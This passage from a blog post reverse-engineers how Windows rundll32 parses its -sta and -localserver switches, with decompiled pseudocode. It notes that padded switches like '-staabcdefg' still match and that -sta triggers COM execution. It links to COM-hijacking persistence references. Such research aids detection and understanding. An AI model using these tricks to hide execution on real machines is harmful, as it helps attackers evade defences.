*(_WORD *)first_char != &#39;/&#39; &amp;&amp; *(_WORD *)first_char != &#39;-&#39; )// windows swtich symbol<br>        goto when_not_switch_symbol_found;<br>      first_char = (unsigned __int16 **)(lpstrCmdline_2 + 1);<br>      first_char_after_switch = lpstrCmdline_2[1];<br>      lpstrCmdline_2 = (unsigned __int16 *)first_char;<br>      command_arg = first_char;<br>      if ( first_char_after_switch )<br>        break;<br>when_space_found:<br>      if ( !*(_WORD *)first_char )<br>        goto when_space_found_2;<br>    }<br>    command_arg_1 = (unsigned __int16 *)first_char;<br>    while ( 1 ) // switch string scanning loop here<br>    {<br>      lpstrCmdline_2 = command_arg_1;<br>scanning_first_char: // This should be the correct one<br>      if ( first_char_after_switch == &#39; &#39; )<br>        goto when_space_found;<br>      if ( first_char_after_switch == &#39;L&#39; )<br>        break;<br>      switch ( first_char_after_switch )<br>      {<br>        case &#39;S&#39;:                               // Sta<br>          goto sta_switch;<br>        case &#39;l&#39;:                               // localserver<br>          goto LABEL_21;<br>        case &#39;s&#39;:                               // sta<br>sta_switch:<br>          arg_len = -1i64;                      // arg_len without the &quot;-&quot;<br>          do<br>            ++arg_len;<br>          while ( command_arg_1[arg_len] );<br>          if ( (int)arg_len &lt; 3 )<br>          {<br>            Switch = 0;<br>          }<br>          else<br>          {<br>            Switch = _GetSwitch(L&quot;sta&quot;, (unsigned __int16 **)&amp;command_arg, 3);<br>            first_char = command_arg;           // first_char will point to &quot;a&quot; becuz of &quot;*a2 += cchCount2 - 1;&quot;<br>          }<br>          if ( Switch )<br>            *(_DWORD *)switch_flag |= 1u;       // set the switch_flag to 1<br>          break;<br>      }<br>get_sta_arg:<br>      first_char = (unsigned __int16 **)((char *)first_char + 2);// get argv[2] with space, arg value after the switch (argv[1])<br>                                                // NOTE: remember its wide char ya<br>      lpstrCmdline_2 = (unsigned __int16 *)first_char;<br>      command_arg = first_char;<br>      command_arg_1 = (unsigned __int16 *)first_char;<br>      first_char_after_switch = *(_WORD *)first_char;<br>      if ( !*(_WORD *)first_char )<br>        goto scanning_first_char;<br>    }<br>LABEL_21:<br>    v15 = -1i64;<br>    do<br>      ++v15;<br>    while ( command_arg_1[v15] );<br>    if ( (int)v15 &lt; 11 )<br>    {<br>      v16 = 0;<br>    }<br>    else<br>    {<br>      v16 = _GetSwitch(L&quot;localserver&quot;, (unsigned __int16 **)&amp;command_arg, 11);<br>      first_char = command_arg;<br>    }<br>    if ( v16 )<br>      *(_DWORD *)switch_flag |= 2u;<br>    goto get_sta_arg;<br>  }<br>when_not_switch_symbol_found:<br>  if ( !*(_WORD *)first_char )<br>    return 0i64;<br>  if ( *(_WORD *)first_char == &#39;&quot;&#39; )<br>  {<br>    first_char = (unsigned __int16 **)(lpstrCmdline_2 + 1);<br>    v17 = lpstrCmdline_2[1];<br>    ++lpstrCmdline_2;<br>    if ( v17 )<br>    {<br>      v18 = v17;<br>      do<br>      {<br>        v19 = v18;<br>        if ( v18 == 34 )<br>          break;<br>        v19 = *++lpstrCmdline_2;<br>        v18 = *lpstrCmdline_2;<br>      }<br>      while ( *lpstrCmdline_2 );<br>      if ( v19 )<br>      {<br>LABEL_37:<br>        *lpstrCmdline_2 = 0;<br>        do<br>          v22 = *++lpstrCmdline_2;<br>        while ( *lpstrCmdline_2 &amp;&amp; (v22 == &#39; &#39; || v22 == &#39;,&#39;) );<br>        goto LABEL_48;<br>      }<br>    }<br>    return 0i64;<br>  }<br>  while ( 1 )<br>  {<br>    first_char_of_argv2 = *lpstrCmdline_2;<br>    if ( !*lpstrCmdline_2 || first_char_of_argv2 == &#39; &#39; || first_char_of_argv2 == &#39;,&#39; )<br>      break;<br>    ++lpstrCmdline_2;<br>  }<br>  if ( *lpstrCmdline_2 )<br>    goto LABEL_37;<br>  if ( (*(_BYTE *)switch_flag &amp; 3) == 0 )<br>    return 0i64;<br>LABEL_48:<br>  v23 = lpstrCmdline_2;<br>  v24 = lpstrCmdline_2;<br>  if ( (*(_BYTE *)switch_flag &amp; 3) == 0 )<br>  {<br>    v25 = *lpstrCmdline_2;<br>    if ( !*lpstrCmdline_2 )<br>      return 0i64;<br>    do<br>    {<br>      v26 = v25;<br>      if ( v25 == 32 )<br>        break;<br>      v25 = *++lpstrCmdline_2;<br>      v26 = *lpstrCmdline_2;<br>    }<br>    while ( *lpstrCmdline_2 );<br>    if ( v26 )<br>    {<br>      *lpstrCmdline_2 = 0;<br>      do<br>        ++lpstrCmdline_2;<br>      while ( *lpstrCmdline_2 &amp;&amp; *lpstrCmdline_2 &lt;= 0x20u );<br>    }<br>    for ( i = *v24; i; i = *v24 )<br>    {<br>      if ( i == &#39;\\&#39; || i == &#39;/&#39; )<br>        goto LABEL_62;<br>      v24 = CharNextW(v24);<br>    }<br>    v24 = 0i64;<br>LABEL_62:<br>    if ( v24 )<br>      return 0i64;<br>  }<br>  result = 1i64;<br>  is_localserver = (*(_DWORD *)switch_flag &amp; 3) == 0;<br>  is_localserver_2 = *(_DWORD *)switch_flag &amp; 3;<br>  *lpsz = (unsigned __int16 *)first_char;       // if -sta, then first_char will be clsid<br>  if ( !is_localserver )<br>    lpstrCmdline_2 = v23;<br>  if ( is_localserver_2 )<br>    v23 = 0i64;<br>  *ordinal_num = v23;<br>  *v5 = lpstrCmdline_2;<br>  return result;<br>}</pre><p>Note that once the switch strings were matched, the code will scan through any non-space char that appended behind until it reach any sentinel value such as space char. So you can add something like -staabcdefg or -sta</p><p>After getting the switch_type, it will determine which part of code will be execute later.</p><h3><strong>Switch -sta</strong></h3><p>It will execute code <strong>_DoComObjectSta </strong>it the <strong>switch_flag</strong> is 1. This is the part where the <strong>CoCreateInstance </strong>will get call and trigger the COM execution 😏</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*BnU0x89AaGT92j-h7sjCLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*02ZA1Mx1Azsmd4pua314qg.png" /></figure><p>After the <strong>CoCreateInstance</strong> being called with a unknown CLSID cause the IF condition become false and jump to the <strong>CoUnintialize()</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a9eCswItkYC3YjQseU-LOQ.png" /></figure><h3>Switch -localserver</h3><p>Wanted to try with <strong>-localserver</strong> switch to trigger a COM call. However, it does not work because the CLSID has been hard-coded as shown in the screenshot below. 😥</p><p>(Probably MS has patched the rundll32 in newer windows version)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtHZrtYcx8hMI_qOylec5w.png" /></figure><h3>Re-implementation of -sta switch COM call</h3><p>You can find my re-implemented c++ code for rundll32 COM execution in <a href="https://github.com/ghoulgy/RandomCodes/blob/master/cpp/com_hijack_progid_clsid.cpp">github</a> ✨🎉🥳🎇🎆</p><h4>References:</h4><p><a href="https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/">https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/</a></p><p><a href="https://pentestlab.blog/2020/05/20/persistence-com-hijacking/">https://pentestlab.blog/2020/05/20/persistence-com-hijacking/</a></p><p><a href="https://www.221bluestreet.com/offensive-security/windows-components-object-model/com-hijacking-t1546.015">https://www.221bluestreet.com/offensive-security/windows-components-object-model/com-hijacking-t1546.015</a></p><p><a href="https://github.com/ghoulgy/RandomCodes/blob/master/cpp/com_hijack_progid_clsid.cpp">https://github.com/ghoulgy/RandomCodes/blob/master/cpp/com_hijack_progid_clsid.cpp</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40b632fc7e37" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>